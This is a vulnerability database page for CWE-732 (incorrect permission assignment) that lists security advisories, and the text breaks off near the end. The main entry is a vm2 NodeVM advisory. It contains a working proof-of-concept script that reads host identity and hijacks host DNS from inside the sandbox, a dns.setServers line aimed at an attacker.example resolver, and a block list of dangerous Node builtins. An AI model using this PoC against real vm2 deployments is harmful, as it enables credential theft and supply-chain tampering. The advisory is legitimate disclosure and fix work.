CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2152 vulnerabilities reference this CWE, most recent first.
GHSA-M58Q-QH36-CWX8
Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2024-02-16 21:31The Device Mapper multipathing driver (aka multipath-tools or device-mapper-multipath) 0.4.8, as used in SUSE openSUSE, SUSE Linux Enterprise Server (SLES), Fedora, and possibly other operating systems, uses world-writable permissions for the socket file (aka /var/run/multipathd.sock), which allows local users to send arbitrary commands to the multipath daemon.
{
"affected": [],
"aliases": [
"CVE-2009-0115"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-30T16:30:00Z",
"severity": "HIGH"
},
"details": "The Device Mapper multipathing driver (aka multipath-tools or device-mapper-multipath) 0.4.8, as used in SUSE openSUSE, SUSE Linux Enterprise Server (SLES), Fedora, and possibly other operating systems, uses world-writable permissions for the socket file (aka /var/run/multipathd.sock), which allows local users to send arbitrary commands to the multipath daemon.",
"id": "GHSA-m58q-qh36-cwx8",
"modified": "2024-02-16T21:31:29Z",
"published": "2022-05-02T03:12:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0115"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9214"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-April/msg00231.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-April/msg00236.html"
},
{
"type": "WEB",
"url": "http://download.opensuse.org/update/10.3-test/repodata/patch-kpartx-6082.xml"
},
{
"type": "WEB",
"url": "http://kb.juniper.net/InfoCenter/index?page=content\u0026id=JSA10691"
},
{
"type": "WEB",
"url": "http://kb.juniper.net/InfoCenter/index?page=content\u0026id=JSA10705"
},
{
"type": "WEB",
"url": "http://launchpad.net/bugs/cve/2009-0115"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-03/msg00004.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-04/msg00003.html"
},
{
"type": "WEB",
"url": "http://lists.vmware.com/pipermail/security-announce/2010/000082.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34418"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34642"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34694"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34710"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34759"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38794"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2009-128.htm"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1767"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0528"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M5RW-FQ84-2JG3
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2026-40462"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T16:16:42Z",
"severity": "HIGH"
},
"details": "Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-m5rw-fq84-2jg3",
"modified": "2026-05-13T18:30:55Z",
"published": "2026-05-13T18:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40462"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000156581"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M5W8-4GQ2-6F8X
Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32NodeVM builtin: ['*'] exposes os and dns — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in lib/builtin.js and as Category 35 / GHSA-9g8x in docs/ATTACKS.md.
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L → 9.3 (Critical)
(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because os.userInfo() returns host UID/GID/username/homedir + os.networkInterfaces() returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because dns.setServers() is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses fetch or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model NodeVM exists to mitigate.)
Summary
GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding diagnostics_channel, async_hooks, perf_hooks, and v8 to DANGEROUS_BUILTINS in lib/builtin.js. The fix's rationale (in the commit message and docs/ATTACKS.md Category 35) is general:
Process-wide observability builtins. Unlike most Node builtins, these expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.
Two builtins satisfying the same description were not added: os and dns. Both are reachable today under the documented builtin: ['*'] configuration; both expose host-process state that the vm.readonly() proxy cannot localise; and both have write APIs that mutate global host-process state from the sandbox (os.setPriority(), dns.setServers(), dns.setDefaultResultOrder()). dns.setServers() in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.
Adding os and dns to DANGEROUS_BUILTINS extends the same fix to the rest of the class. The existing isDangerousBuiltin(key) family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches node:os, node:dns, and node:dns/promises once the family names are present.
Affected
- vm2
v3.11.5(currentpackage.jsonversion onmain) and the unreleased[3.11.4]slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al. - All NodeVM configurations that expand the builtin allowlist via
'*'(the documented "full builtins" pattern) and have not manually appended-os,-dnsexclusions — which is the recommended config in README and the test fixtures. - Reproduced on Node v22.12.0 with HEAD
7a1f510of the audit checkout.
Vulnerability details
[A] — Source: the '*' wildcard expansion includes os and dns
lib/builtin.js:166-167:
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s));
isDangerousBuiltin resolves the current DANGEROUS_BUILTINS set (lib/builtin.js:83-139):
const DANGEROUS_BUILTINS = new Set([
'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
'trace_events', 'wasi',
// GHSA-9g8x-92q2-p28f:
'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8'
]);
os and dns are absent. Under builtin: ['*'] they are admitted into the user-visible builtin map and loaded via the default vm.readonly(hostRequire(key)) path (lib/builtin.js:230):
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for v8/perf_hooks.
[B] — os: host-process READS the bridge cannot localise
os.userInfo() returns the host process owner (uid, gid, username, homedir, shell). os.networkInterfaces() returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. os.hostname() returns the host deployment identity. os.loadavg() / os.uptime() / os.freemem() / os.totalmem() expose host-wide telemetry.
The data source is the host kernel and the host process — the sandbox's vm.readonly() proxy cannot make these calls "sandbox-local" any more than it can for perf_hooks.performance.getEntriesByType('mark'). Same class as the four builtins GHSA-9g8x added.
[C] — os: host-process WRITE via os.setPriority()
os.setPriority([pid, ]priority) invokes setpriority(2) on the host process. With pid = 0 (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.
Strictly worse than the read-only v8 / perf_hooks family because it's a mutation of host state, not just an observation.
[D] — dns: host-process READS
dns.lookup(hostname, cb) and dns.resolve(hostname, cb) perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.
dns.getServers() reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.
[E] — dns: host-process WRITE via dns.setServers() — the strongest primitive
dns.setServers(['attacker.example:53']) replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, fs URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:
- Return
127.0.0.1for any external hostname and steal whatever the host POSTs to it (credentials, tokens). - Return an attacker-controlled IP for
registry.npmjs.orgto swap dependencies on the next install. - Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.
- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.
The attacker primitive is one synchronous line of sandbox code. There is no rate limit, no audit trail, no notification to the embedder. Symmetric dns.setDefaultResultOrder(order) is a second process-wide write knob that lets the sandbox flip 'ipv4first' ↔ 'verbatim', mainly useful as a chaining helper.
dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUS_BUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.
Proof of concept
test-poc.js (run from the vm2 checkout root):
const {NodeVM} = require('./');
// --- [B] / [C] — os reads + write ---
{
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
const r = vm.run(`
const os = require('os');
const before = os.getPriority();
os.setPriority(10); // mutates host process nice value
module.exports = {
userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host
hostname: os.hostname(),
networkInterfaces: Object.keys(os.networkInterfaces()),
uptime: os.uptime(),
priorityBefore: before,
priorityAfter: os.getPriority()
};
`, 'os.js');
console.log(JSON.stringify(r, null, 2));
// Independently verify the host process now reports the bumped priority:
console.log('host getPriority() =', require('os').getPriority());
}
// --- [E] — dns.setServers hijack ---
{
const dnsHost = require('dns');
console.log('host DNS before:', dnsHost.getServers());
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
vm.run(`
require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
`, 'dns.js');
console.log('host DNS after:', dnsHost.getServers());
// Every subsequent dns.lookup() in the host process now hits the attacker.
}
Observed output on Node v22.12.0 against HEAD 7a1f510:
{
"userInfo": { "uid": 0, "gid": 0, "username": "root",
"homedir": "/root", "shell": "/bin/bash" },
"hostname": "Debian-trixie-latest-amd64-base",
"networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2",
"vethd3955b5", ..., "veth3" ],
"uptime": 6093038.92,
"priorityBefore": 0,
"priorityAfter": 10
}
host getPriority() = 10 ← host realm sees the sandbox write
host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1',
'185.12.64.1', '2a01:4ff:ff00::add:2' ]
host DNS after: [ '127.0.0.1:5353', '8.8.4.4' ] ← hijacked
Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the vm.run() call returns — confirming the writes persisted past the bridge boundary.
Impact
Direct
- Host identity disclosure (
os) — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes. - Network topology disclosure (
os.networkInterfaces) — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants. - Process-wide DNS hijack (
dns.setServers) — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch. - Process priority mutation (
os.setPriority) — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.
Indirect / second-order
- Composes with
dgram/http/fetchwhitelisting — embedders who grant the sandbox network access via theexternalflag or a documented-os, -dnscutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the host, so even host-realm outbound HTTP gets redirected. - Composes with future host-realm-string introductions — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects.
- Defeats GHSA-9g8x's own threat model — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving
osanddnsopen leaves the class half-closed; the read-side leak path that the commit enumerates fordiagnostics_channel("attacker reads host HTTP requests through a subscriber") composes withdns.setServersto also redirect those requests. - Same fix is forward-compatible with future Node releases — adding
osanddnstoDANGEROUS_BUILTINSdoes not require enumerating every future Node API; the family-prefix matcher (isDangerousBuiltin) already covers any newos/...ordns/...subpath Node introduces.
Suggested fix
Single-line extension of DANGEROUS_BUILTINS in lib/builtin.js:83-139, alongside the four GHSA-9g8x additions, with the same // SECURITY (GHSA-...) block comment style and rationale:
const DANGEROUS_BUILTINS = new Set([
'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
'trace_events', 'wasi',
'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8',
// SECURITY (this advisory): Process-wide observability + WRITE builtins.
// `os.userInfo()` / `os.networkInterfaces()` leak host process identity and
// network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,
// `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives
// that mutate host-process state from the sandbox — `dns.setServers()` is a
// process-wide DNS resolver hijack reachable in one line of sandbox code.
// Embedders who genuinely need a sandbox-local replacement can register a
// controlled wrapper under the same name via `mock` / `override`.
'os',
'dns'
]);
The existing isDangerousBuiltin(key) family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to node:os, node:dns, and node:dns/promises without further changes. Embedders who genuinely need a sandbox-local os/dns (typically os.platform(), os.EOL, os.constants) can register a hand-written safe wrapper under those names via mock / override, mirroring the escape hatch documented for the GHSA-9g8x denials.
Tests should mirror the test/ghsa/GHSA-9g8x-92q2-p28f/repro.js shape: bare-name + node:-prefixed denial on require(), '*' wildcard expansion exclusion, explicit-allowlist (builtin: ['os'], builtin: ['dns']) rejection, makeBuiltins(['os']) rejection, mock / override escape-hatch acceptance.
docs/ATTACKS.md Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-285",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:32:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)\n\n**CWE**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) \u2014 same class the maintainer codified as Defense Invariant #13 in `lib/builtin.js` and as Category 35 / GHSA-9g8x in `docs/ATTACKS.md`.\n\n**CVSS v3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L` \u2192 9.3 (Critical)\n\n(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because `os.userInfo()` returns host UID/GID/username/homedir + `os.networkInterfaces()` returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because `dns.setServers()` is a process-wide write that hijacks every subsequent DNS lookup the host makes \u2014 including outbound HTTP, telemetry, npm/registry, and any host code that uses `fetch` or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model `NodeVM` exists to mitigate.)\n\n## Summary\n\nGHSA-9g8x-92q2-p28f closed the \"process-wide observability builtins\" class by adding `diagnostics_channel`, `async_hooks`, `perf_hooks`, and `v8` to `DANGEROUS_BUILTINS` in `lib/builtin.js`. The fix\u0027s rationale (in the commit message and `docs/ATTACKS.md` Category 35) is general:\n\n\u003e Process-wide observability builtins. Unlike most Node builtins, these expose state of the *entire host process* rather than sandbox-local state \u2014 the vm2 boundary cannot usefully contain them because the data they surface [\u2026] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.\n\nTwo builtins satisfying the same description were not added: **`os`** and **`dns`**. Both are reachable today under the documented `builtin: [\u0027*\u0027]` configuration; both expose host-process state that the `vm.readonly()` proxy cannot localise; and both have *write* APIs that mutate global host-process state from the sandbox (`os.setPriority()`, `dns.setServers()`, `dns.setDefaultResultOrder()`). `dns.setServers()` in particular turns sandbox code into a process-wide DNS hijack primitive \u2014 strictly worse than every read-only leak that GHSA-9g8x added.\n\nAdding `os` and `dns` to `DANGEROUS_BUILTINS` extends the same fix to the rest of the class. The existing `isDangerousBuiltin(key)` family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches `node:os`, `node:dns`, and `node:dns/promises` once the family names are present.\n\n## Affected\n\n- vm2 `v3.11.5` (current `package.json` version on `main`) and the unreleased `[3.11.4]` slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.\n- All NodeVM configurations that expand the builtin allowlist via `\u0027*\u0027` (the documented \"full builtins\" pattern) and have not manually appended `-os`, `-dns` exclusions \u2014 which is the recommended config in README and the test fixtures.\n- Reproduced on Node v22.12.0 with HEAD `7a1f510` of the audit checkout.\n\n## Vulnerability details\n\n### [A] \u2014 Source: the `\u0027*\u0027` wildcard expansion includes `os` and `dns`\n\n`lib/builtin.js:166-167`:\n\n```js\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n .filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s));\n```\n\n`isDangerousBuiltin` resolves the current `DANGEROUS_BUILTINS` set (`lib/builtin.js:83-139`):\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n \u0027trace_events\u0027, \u0027wasi\u0027,\n // GHSA-9g8x-92q2-p28f:\n \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027\n]);\n```\n\n`os` and `dns` are absent. Under `builtin: [\u0027*\u0027]` they are admitted into the user-visible builtin map and loaded via the default `vm.readonly(hostRequire(key))` path (`lib/builtin.js:230`):\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing \u2014 same observation the GHSA-9g8x commit message makes for `v8`/`perf_hooks`.\n\n### [B] \u2014 `os`: host-process READS the bridge cannot localise\n\n`os.userInfo()` returns the host process owner (uid, gid, username, homedir, shell). `os.networkInterfaces()` returns the host\u0027s full network topology including container/VM interfaces with their IPs and MAC addresses. `os.hostname()` returns the host deployment identity. `os.loadavg()` / `os.uptime()` / `os.freemem()` / `os.totalmem()` expose host-wide telemetry.\n\nThe data source is the host kernel and the host process \u2014 the sandbox\u0027s `vm.readonly()` proxy cannot make these calls \"sandbox-local\" any more than it can for `perf_hooks.performance.getEntriesByType(\u0027mark\u0027)`. Same class as the four builtins GHSA-9g8x added.\n\n### [C] \u2014 `os`: host-process WRITE via `os.setPriority()`\n\n`os.setPriority([pid, ]priority)` invokes `setpriority(2)` on the host process. With `pid = 0` (the default) the sandbox lowers \u2014 or, if the host has CAP_SYS_NICE, raises \u2014 the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.\n\nStrictly worse than the read-only `v8` / `perf_hooks` family because it\u0027s a *mutation* of host state, not just an observation.\n\n### [D] \u2014 `dns`: host-process READS\n\n`dns.lookup(hostname, cb)` and `dns.resolve(hostname, cb)` perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host\u0027s source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.\n\n`dns.getServers()` reveals the host\u0027s configured DNS servers \u2014 useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.\n\n### [E] \u2014 `dns`: host-process WRITE via `dns.setServers()` \u2014 the strongest primitive\n\n`dns.setServers([\u0027attacker.example:53\u0027])` replaces the host\u0027s process-wide DNS resolver list. Every subsequent DNS lookup the host process performs \u2014 its own outbound HTTP, telemetry, npm registry, fetch() calls, `fs` URL paths, any host code that resolves a hostname \u2014 goes through the attacker\u0027s resolver. The attacker can:\n\n- Return `127.0.0.1` for any external hostname and steal whatever the host POSTs to it (credentials, tokens).\n- Return an attacker-controlled IP for `registry.npmjs.org` to swap dependencies on the next install.\n- Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.\n- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.\n\nThe attacker primitive is *one synchronous line of sandbox code*. There is no rate limit, no audit trail, no notification to the embedder. Symmetric `dns.setDefaultResultOrder(order)` is a second process-wide write knob that lets the sandbox flip `\u0027ipv4first\u0027` \u2194 `\u0027verbatim\u0027`, mainly useful as a chaining helper.\n\n`dns/promises` also exists as a subpath and shares the same module surface; adding `dns` to `DANGEROUS_BUILTINS` automatically catches `dns/promises` via the existing `isDangerousBuiltin` family-prefix matcher.\n\n## Proof of concept\n\n`test-poc.js` (run from the vm2 checkout root):\n\n```js\nconst {NodeVM} = require(\u0027./\u0027);\n\n// --- [B] / [C] \u2014 os reads + write ---\n{\n const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n const r = vm.run(`\n const os = require(\u0027os\u0027);\n const before = os.getPriority();\n os.setPriority(10); // mutates host process nice value\n module.exports = {\n userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host\n hostname: os.hostname(),\n networkInterfaces: Object.keys(os.networkInterfaces()),\n uptime: os.uptime(),\n priorityBefore: before,\n priorityAfter: os.getPriority()\n };\n `, \u0027os.js\u0027);\n console.log(JSON.stringify(r, null, 2));\n // Independently verify the host process now reports the bumped priority:\n console.log(\u0027host getPriority() =\u0027, require(\u0027os\u0027).getPriority());\n}\n\n// --- [E] \u2014 dns.setServers hijack ---\n{\n const dnsHost = require(\u0027dns\u0027);\n console.log(\u0027host DNS before:\u0027, dnsHost.getServers());\n\n const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n vm.run(`\n require(\u0027dns\u0027).setServers([\u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027]);\n `, \u0027dns.js\u0027);\n\n console.log(\u0027host DNS after:\u0027, dnsHost.getServers());\n // Every subsequent dns.lookup() in the host process now hits the attacker.\n}\n```\n\nObserved output on Node v22.12.0 against HEAD `7a1f510`:\n\n```\n{\n \"userInfo\": { \"uid\": 0, \"gid\": 0, \"username\": \"root\",\n \"homedir\": \"/root\", \"shell\": \"/bin/bash\" },\n \"hostname\": \"Debian-trixie-latest-amd64-base\",\n \"networkInterfaces\": [ \"lo\", \"enp3s0\", \"br-06cf1b47c8e0\", \"podman2\",\n \"vethd3955b5\", ..., \"veth3\" ],\n \"uptime\": 6093038.92,\n \"priorityBefore\": 0,\n \"priorityAfter\": 10\n}\nhost getPriority() = 10 \u2190 host realm sees the sandbox write\n\nhost DNS before: [ \u0027185.12.64.2\u0027, \u00272a01:4ff:ff00::add:1\u0027,\n \u0027185.12.64.1\u0027, \u00272a01:4ff:ff00::add:2\u0027 ]\nhost DNS after: [ \u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027 ] \u2190 hijacked\n```\n\nBoth the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the `vm.run()` call returns \u2014 confirming the writes persisted past the bridge boundary.\n\n## Impact\n\n### Direct\n\n- **Host identity disclosure (`os`)** \u2014 sandbox reads the host process owner\u0027s username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern \u2014 webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.\n- **Network topology disclosure (`os.networkInterfaces`)** \u2014 sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment\u0027s internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.\n- **Process-wide DNS hijack (`dns.setServers`)** \u2014 sandbox replaces the host\u0027s DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker\u0027s resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.\n- **Process priority mutation (`os.setPriority`)** \u2014 sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.\n\n### Indirect / second-order\n\n- **Composes with `dgram` / `http` / `fetch` whitelisting** \u2014 embedders who grant the sandbox network access via the `external` flag or a documented `-os, -dns` cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected.\n- **Composes with future host-realm-string introductions** \u2014 if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox\u0027s hijacked DNS resolver decides where the host eventually connects.\n- **Defeats GHSA-9g8x\u0027s own threat model** \u2014 the GHSA-9g8x commit message states the goal is to close the \"process-wide observability\" class. Leaving `os` and `dns` open leaves the class half-closed; the read-side leak path that the commit enumerates for `diagnostics_channel` (\"attacker reads host HTTP requests through a subscriber\") composes with `dns.setServers` to *also* redirect those requests.\n- **Same fix is forward-compatible with future Node releases** \u2014 adding `os` and `dns` to `DANGEROUS_BUILTINS` does not require enumerating every future Node API; the family-prefix matcher (`isDangerousBuiltin`) already covers any new `os/...` or `dns/...` subpath Node introduces.\n\n## Suggested fix\n\nSingle-line extension of `DANGEROUS_BUILTINS` in `lib/builtin.js:83-139`, alongside the four GHSA-9g8x additions, with the same `// SECURITY (GHSA-...)` block comment style and rationale:\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n \u0027trace_events\u0027, \u0027wasi\u0027,\n \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027,\n // SECURITY (this advisory): Process-wide observability + WRITE builtins.\n // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and\n // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,\n // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives\n // that mutate host-process state from the sandbox \u2014 `dns.setServers()` is a\n // process-wide DNS resolver hijack reachable in one line of sandbox code.\n // Embedders who genuinely need a sandbox-local replacement can register a\n // controlled wrapper under the same name via `mock` / `override`.\n \u0027os\u0027,\n \u0027dns\u0027\n]);\n```\n\nThe existing `isDangerousBuiltin(key)` family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to `node:os`, `node:dns`, and `node:dns/promises` without further changes. Embedders who genuinely need a sandbox-local `os`/`dns` (typically `os.platform()`, `os.EOL`, `os.constants`) can register a hand-written safe wrapper under those names via `mock` / `override`, mirroring the escape hatch documented for the GHSA-9g8x denials.\n\nTests should mirror the `test/ghsa/GHSA-9g8x-92q2-p28f/repro.js` shape: bare-name + `node:`-prefixed denial on `require()`, `\u0027*\u0027` wildcard expansion exclusion, explicit-allowlist (`builtin: [\u0027os\u0027]`, `builtin: [\u0027dns\u0027]`) rejection, `makeBuiltins([\u0027os\u0027])` rejection, `mock` / `override` escape-hatch acceptance.\n\n`docs/ATTACKS.md` Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass \u2014 either matches the existing documentation pattern.",
"id": "GHSA-m5w8-4gq2-6f8x",
"modified": "2026-08-17T17:32:47Z",
"published": "2026-08-17T17:32:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5w8-4gq2-6f8x"
},
{
